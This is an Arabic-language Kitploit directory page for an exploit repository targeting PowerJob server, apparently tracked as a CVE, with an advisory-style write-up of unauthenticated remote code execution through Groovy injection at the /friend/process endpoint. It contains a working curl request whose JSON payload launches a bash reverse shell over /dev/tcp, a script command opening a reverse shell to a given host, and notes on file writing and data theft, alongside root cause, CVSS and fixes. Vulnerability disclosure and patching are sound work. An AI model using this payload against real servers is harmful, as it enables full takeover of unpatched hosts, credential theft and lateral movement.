Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-75429_PowerJob_friend_process_RCE — استغلال تنفيذ أوامر عن بُعد غير مصادق عليه لخادم PowerJob عبر حقن Groovy في نقطة النهاية /friend/process، مما يتيح تنفيذ أوامر عشوائية وقذائف عكسية. | Kitploit
أدوات/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقحصان طروادة للوصول عن بعد
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

استغلال تنفيذ أوامر عن بُعد غير مصادق عليه لخادم PowerJob عبر حقن Groovy في نقطة النهاية /friend/process، مما يتيح تنفيذ أوامر عشوائية وقذائف عكسية.

عرض المستودع
منذ 25 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تنفيذ التعليمات البرمجية عن بُعد في خادم PowerJob عبر /friend/process غير المُصادق عليه (حقن Groovy)

1. الملخص

يُعرّض خادم PowerJob (إطار عمل جدولة المهام / الحوسبة الموزعة) نقطة النهاية /friend/process على منفذ HTTP الخاص بطبقة النقل بين العامل والخادم رقم 10010 دون أي مصادقة على الإطلاق. تعكس نقطة النهاية طريقة عامة عشوائية من حبة Spring عشوائية؛ يمكن للمهاجم الذي يستدعي GroovyEvaluator.evaluate تنفيذ تعبيرات Groovy عشوائية، محققًا تنفيذ التعليمات البرمجية عن بُعد دون مصادقة. ينشر إعداد docker-compose الافتراضي هذا المنفذ إلى 0.0.0.0، لذا يمكن اختراق الخادم بالكامل بدون أي بيانات اعتماد.

2. المنتج المتأثر

  • المنتج: PowerJob (إطار عمل جدولة المهام / الحوسبة الموزعة)
  • الإصدارات المتأثرة: 5.1.2 (تم ترحيل تصميم طبقة النقل من الإصدارات السابقة؛ الإصدارات الأقدم متأثرة بنفس القدر — أبلغ عن 4.x–5.1.2)
  • مستودع المصدر: https://github.com/PowerJob/PowerJob
  • النشر الافتراضي: docker-compose.yml:29-33,47-48 ينشر 10010 (نقل HTTP)، 10086 (AKKA)، 10077 (MU) إلى المضيف 0.0.0.0
  • 3. موقع الثغرة

    العنصرالقيمة
    نقطة النهاية المُشغِّلةPOST http://<server>:10010/friend/process
    التسجيلFriendActor.java @Actor(path = "friend") + @Handler(path = "process") (مسجلة لجميع البروتوكولات الثلاثة: HTTP/MU/AKKA)
    التنفيذ الانعكاسيRemoteRequestProcessor.processRemoteRequest()
    المصرف الخطيرGroovyEvaluator.evaluate() → ScriptEngine.eval()
    المصادقة المفقودةHttpVertxCSInitializer (HTTP) / MuServerHandler (MU) تسجل المسارات دون أي فحص رمز/توقيع

    ملفات المصدر الرئيسية (بالنسبة إلى جذر المستودع):

    • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (يسجل مسارات 10010، دون مصادقة)
    • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
    • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
    • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

    4. السبب الجذري

    1. صفر مصادقة على طبقة النقل: يعامل PowerJob بروتوكولات الاتصال بين العامل والخادم (HTTP/AKKA/MU) كمنطقة "ثقة داخلية". أي مضيف يمكنه الوصول إلى المنافذ 10010/10086/10077 يُعامل كعقدة شرعية؛ لا يوجد مصافحة ولا توقيع.
    2. انعكاس حبة عشوائية: يثق RemoteRequestProcessor.processRemoteRequest تمامًا في حقول className وmethodName وparameterTypes وargs في نص الطلب — يستخدم Class.forName + SpringUtils.getBean للحصول على أي حبة Spring ثم يستدعي أيًا من طرقها العامة عبر ReflectionUtils الخاص بـ Spring.
    3. طريقة خطيرة قابلة للوصول: GroovyEvaluator هي حبة @Component تستدعي طريقة evaluate(String, Object) محرك نصوص Groovy (ScriptEngineManager) لتنفيذ eval() لتعبير المهاجم مباشرة.

    الجمع بين الثلاثة يساوي تنفيذ تعليمات برمجية عن بُعد دون مصادقة.

    5. سيناريو الهجوم (الشرط المسبق: إمكانية الوصول الشبكي إلى المنفذ 10010 فقط)

    1. يرسل المهاجم طلب HTTP POST إلى المنفذ 10010 لخادم PowerJob (بدون الحاجة إلى Cookie/Token).
    2. نص الطلب هو JSON من نوع RemoteProcessReq يستهدف GroovyEvaluator.evaluate بتعبير Groovy عشوائي (مثل 'id'.execute().text).
    3. يستدعي الخادم الطريقة بشكل انعكاسي؛ يقيّم محرك Groovy التعبير.
    4. تُعاد نتيجة تنفيذ الأمر إلى المهاجم في AskResponse.data (JSON بترميز base64).
    5. يمكن للمهاجم أيضًا استخدام Groovy لكتابة ملفات عشوائية، أو إطلاق قشرة عكسية، أو استخراج البيانات.

    6. إعادة الإنتاج (تم التحقق)

    البيئة: JDK 17، powerjob-server-starter-5.1.2.jar مبني من المصدر (ملف التعريف اليومي)، الخادم يستمع على 192.168.49.128:10010. تمت إعادة التحقق على JDK 21 (حمولة صيغة القشرة أدناه تعمل على كليهما؛ راجع الملاحظة حول File.write أدناه).

    root@kitploit:~
    curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
      "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
      "methodName": "evaluate",
      "parameterTypes": ["java.lang.String","java.lang.Object"],
      "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
    }'
    

    الاستجابة الفعلية: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. فك ترميز base64 لحقل data ينتج مخرجات الأمر المنفذ على JVM الخادم:

    image

    بدلاً من ذلك، يمكنك إعادة إنتاجها باستخدام السكربت:

    python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

    7. الملاحظ مقابل المتوقع

    • الملاحظ: طلب HTTP غير مُصادق عليه يتسبب في تنفيذ الخادم لأوامر عشوائية.
    • المتوقع: /friend/process جزء من الاتصال الداخلي بين الخادم والعامل؛ يجب أن يرفض الطلبات غير المُصادق عليها، أو يجب ألا تكون الطريقة قابلة للاستدعاء عن بُعد على الإطلاق.

    8. التأثير

    • السرية: عالية — قراءة ملفات/ذاكرة/بيانات اعتماد عشوائية على الخادم.
    • السلامة: عالية — كتابة ملفات عشوائية، العبث بالتهيئة والمهام.
    • التوفر: عالية — يمكن إنهاء العمليات/الخدمات.
    • حدود التأثير: عملية الخادم → المضيف (بصلاحيات مستخدم الخدمة)؛ في النشر الافتراضي، يمكن للمهاجم التحرك جانبيًا إلى الشبكة الداخلية للمضيف.

    9. الإصلاح المقترح

    1. إضافة مصادقة متبادلة بين الخادم والعامل (رمز/توقيع) إلى طبقة النقل والتحقق من المصدر؛ عدم تعريض 10010/10086/10077 للإنترنت العام.
    2. تغيير RemoteRequestProcessor إلى قائمة سماح: تقييد className/methodName بمعالجات آمنة محددة بواسطة الإطار ومنع الاستدعاء الانعكاسي للحبوب العشوائية.
    3. إزالة أو تقييد الوصول عن بُعد إلى GroovyEvaluator بشدة (إذا كان يجب أن يبقى، أضف مصادقة وصندوق رمل).
    4. تعطيل /friend/process (S4S_HANDLER_PROCESS) افتراضيًا أو تقييده بالمصادر الداخلية فقط.

    10. CWE

    • الأساسي: CWE-94 (التحكم غير السليم في توليد التعليمات البرمجية — حقن Groovy)
    • الثانوي: CWE-470 (استخدام مدخلات خاضعة للتحكم الخارجي لاختيار الفئات أو التعليمات البرمجية — انعكاس حبة عشوائية)، CWE-306 (غياب المصادقة للوظائف الحرجة)

    11. CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 حرجة

    12. البيئة

    • نظام التشغيل: Ubuntu 22.04 / Linux 6.8
    • JDK: 17.0.19 (إعادة الإنتاج الأصلية)؛ أعيد التحقق على OpenJDK 21.0.11
    • البناء: Maven 3.6.3، mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
    • قاعدة البيانات: MariaDB 10.6 (غير مطلوبة — /friend/process قابل للتشغيل بدون قاعدة بيانات)
    • التشغيل: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
    تنزيل الأداة